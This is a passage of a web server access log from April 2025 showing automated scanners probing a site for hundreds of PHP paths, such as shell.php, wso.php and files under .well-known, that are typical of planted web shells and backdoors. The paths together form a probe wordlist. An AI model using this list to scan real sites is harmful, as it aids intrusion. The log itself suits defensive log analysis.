HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:14:07:08 -0400] "GET /.well-known/pki-validation/classwithtostring.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:14:07:17 -0400] "GET /.well-known/pki-validation/shell.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:14:07:18 -0400] "GET /.well-known/pki-validation/wp-login.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:14:07:29 -0400] "GET /.well-known/pki-validation/afnew.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:14:07:31 -0400] "GET /.well-known/pki-validation/wp-sigunq.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:14:07:38 -0400] "GET /.well-known/pki-validation/x.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:14:07:43 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:14:07:47 -0400] "GET /.well-known/pki-validation/mariju.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:14:07:47 -0400] "GET /.well-known/pki-validation/classwithtostring.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:14:08:01 -0400] "GET /.well-known/pki-validation/afnew.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:14:08:05 -0400] "GET /.well-known/pki-validation/parx.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:14:08:07 -0400] "GET /.well-known/pki-validation/xmrlpc.php%3fp= HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:14:08:17 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:14:08:38 -0400] "GET /.well-known/pki-validation/parx.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:14:08:40 -0400] "GET /.well-known/pki-validation/xmrlpc.php%3fp= HTTP/1.1" 301 795 "-" "get_local:DCV" 185.117.225.187 - - [18/Apr/2025:14:15:57 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "python-requests/2.31.0" 185.117.225.187 - - [18/Apr/2025:14:15:58 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; BitSightBot/1.0)" 205.210.31.57 - - [18/Apr/2025:14:21:32 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 43.130.150.80 - - [18/Apr/2025:14:31:21 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 52.169.233.48 - - [18/Apr/2025:14:32:23 -0400] "GET /wp-admin/options.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:32:25 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:32:26 -0400] "GET /hehe.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:32:26 -0400] "GET /wp-content/themes/twentytwenty/404.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:32:27 -0400] "GET /wp-content/dropdown.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:32:27 -0400] "GET /wp-content/file.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:32:28 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:32:28 -0400] "GET /readme.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:32:29 -0400] "GET /gecko.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:32:29 -0400] "GET /12.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:32:30 -0400] "GET /user.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:32:31 -0400] "GET /gebase.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:32:31 -0400] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:32:32 -0400] "GET /backup.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:32:33 -0400] "GET /wp-admin/css/colors/blue/index.php/ HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:32:33 -0400] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:32:34 -0400] "GET /wp-seo.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:32:35 -0400] "GET /main.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:32:35 -0400] "GET /.well-known/acme-challenge/mariju.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:32:36 -0400] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:32:36 -0400] "GET /NewFile.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:32:37 -0400] "GET /02.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:32:37 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:32:38 -0400] "GET /2.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:32:38 -0400] "GET /wp-includes/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:32:39 -0400] "GET /admin.php7 HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:32:40 -0400] "GET /wp-content/plugins/linkpreview/index.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:32:40 -0400] "GET /index_.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:32:41 -0400] "GET /wp-load.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:32:41 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:32:42 -0400] "GET /wp-admin/css/colors/blue/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:32:42 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:32:43 -0400] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:32:43 -0400] "GET /.well-known/file.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:32:44 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:32:45 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:32:45 -0400] "GET /wp-admin/user/index.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:32:46 -0400] "GET /.well-known/caches.php.suspected HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:32:46 -0400] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:32:47 -0400] "GET /admin/function.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:32:47 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:32:48 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:32:48 -0400] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:32:49 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:32:50 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:32:50 -0400] "GET /wp-includes/Requests/library/about.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:32:51 -0400] "GET /wp-includes/fonts/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:32:51 -0400] "GET /wp-includes/theme-compat/about.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:32:52 -0400] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:32:52 -0400] "GET /settings.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:32:53 -0400] "GET /mah/function.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:32:54 -0400] "GET /wp-includes/css/about.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:32:54 -0400] "GET /as.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:32:55 -0400] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:32:55 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:32:56 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:32:56 -0400] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:32:57 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:32:58 -0400] "GET /wp-admin/file.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:32:58 -0400] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:32:59 -0400] "GET /wp-content/upgrade/index.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:32:59 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:00 -0400] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:00 -0400] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:02 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:02 -0400] "GET /mah.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:03 -0400] "GET /.well-known/cong.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:03 -0400] "GET /mar.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:04 -0400] "GET /wp-content/x/index.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:05 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:05 -0400] "GET /wp-admin/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:06 -0400] "GET /wp-includes/ID3/index.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:07 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:08 -0400] "GET /info.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:09 -0400] "GET /wp-content/plugins/dummyyummy/wp-signup.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:09 -0400] "GET /wp-file.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:10 -0400] "GET /jquery.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:11 -0400] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:12 -0400] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:12 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:13 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:14 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:15 -0400] "GET /wp-includes/js/jcrop/Jcrop.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:15 -0400] "GET /wp-content/languages/index.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:16 -0400] "GET /gecko-new.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:17 -0400] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:17 -0400] "GET /wp-config-sample.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:18 -0400] "GET /k.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:18 -0400] "GET /default.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:19 -0400] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:20 -0400] "GET /bak.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:20 -0400] "GET /manager.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:21 -0400] "GET /.well-known/acme-challenge/about.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:21 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:22 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/index.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:22 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:23 -0400] "GET /ok.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:24 -0400] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:24 -0400] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:25 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:25 -0400] "GET /admin/controller/extension/extension/ultra.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:26 -0400] "GET /simple/function.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:26 -0400] "GET /wp-admin/network/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:27 -0400] "GET /.well-known/gecko-litespeed.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:28 -0400] "GET /as/function.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:28 -0400] "GET /tiny.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:29 -0400] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:29 -0400] "GET /cgi-bin/index.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:30 -0400] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:31 -0400] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:31 -0400] "GET /wp-includes/buy.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:32 -0400] "GET /cgi-bin/about.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:32 -0400] "GET /wp-includes/customize/index.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:33 -0400] "GET /new.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:33 -0400] "GET /epinyins.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:34 -0400] "GET /wp-admin/css/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:35 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:35 -0400] "GET /wander.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:36 -0400] "GET /log.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:36 -0400] "GET /wp-includes/css/index.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:37 -0400] "GET /cd.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:37 -0400] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:38 -0400] "GET /system_log.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:38 -0400] "GET /ge.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:39 -0400] "GET /fm.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:40 -0400] "GET /wp-admin/pages.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:40 -0400] "GET /wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:41 -0400] "GET /test.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:41 -0400] "GET /ty.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:42 -0400] "GET /images/index.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:43 -0400] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:43 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:44 -0400] "GET /st.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:44 -0400] "GET /wp-admin/css/colors/about.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:45 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:45 -0400] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:46 -0400] "GET /.well-known/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:47 -0400] "GET /wp-content/themes/pridmag/db.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:47 -0400] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:48 -0400] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:49 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:49 -0400] "GET /cgi-bin/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:50 -0400] "GET /item.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:51 -0400] "GET /fi2.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:51 -0400] "GET /go.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:52 -0400] "GET /.well-known/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:52 -0400] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:53 -0400] "GET /ini.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:54 -0400] "GET /wp-admin/css/colors/coffee/index.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:54 -0400] "GET /db.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:55 -0400] "GET /wp-admin/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:55 -0400] "GET /templates/beez3/index.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:56 -0400] "GET /wp-atom.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:56 -0400] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:57 -0400] "GET /files/index.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:58 -0400] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:58 -0400] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:33:59 -0400] "GET /comfunctions.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:34:00 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:34:00 -0400] "GET /images/class-config.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:34:01 -0400] "GET /css/index.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:34:01 -0400] "GET /admin HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:34:02 -0400] "GET /wp-includes/widgets/include.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:34:03 -0400] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:34:03 -0400] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:34:04 -0400] "GET /zwso.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:34:05 -0400] "GET /wp-includes/IXR/index.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:34:05 -0400] "GET /mini.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:34:06 -0400] "GET /system.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:34:06 -0400] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:34:07 -0400] "GET /wp-content/themes/twenty/twenty.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:34:07 -0400] "GET /randkeyword.PhP7 HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:34:08 -0400] "GET /lv.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:34:09 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:34:09 -0400] "GET /aa.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:34:10 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:34:11 -0400] "GET /v.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:34:11 -0400] "GET /.well-known/acme-challenge/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:34:12 -0400] "GET /upload.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:34:13 -0400] "GET /wp-includes/wp-includes_function.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:34:13 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:34:14 -0400] "GET /wp-admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:34:15 -0400] "GET /wp-admin/images/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:34:15 -0400] "GET /wp-admin/js/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:34:16 -0400] "GET /wp-signup.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:34:16 -0400] "GET /atomlib.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:34:17 -0400] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:34:18 -0400] "GET /wp-includes/customize/chosen.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:34:18 -0400] "GET /wp-includes/Requests/chosen.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:34:19 -0400] "GET /.well-known/file.php/ HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:34:19 -0400] "GET /wp-includes/SimplePie/gzdecodes.php.suspected HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:34:20 -0400] "GET /wp-admin/user/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:34:20 -0400] "GET /wp-includes/widgets/about.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:34:21 -0400] "GET /wp-content/cache/index.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:34:21 -0400] "GET /wp-content/languages/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:34:22 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/css/ HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:34:23 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:34:24 -0400] "GET /wp-content/plugins/xt/ HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:34:24 -0400] "GET //wp-configs.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:34:25 -0400] "GET /wso.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:34:25 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:34:26 -0400] "GET /buy.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:34:27 -0400] "GET /help.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:34:27 -0400] "GET /wp-back.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:34:28 -0400] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:34:28 -0400] "GET /wp-content//autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:34:29 -0400] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:34:30 -0400] "GET /wp-includes/sodium_compat/src/Core32/Curve25519/Ge/index.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:34:30 -0400] "GET /wp-content/uploads/2024/index.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:34:31 -0400] "GET /home/function.php HTTP/1.1" 301 795 "-" "-" 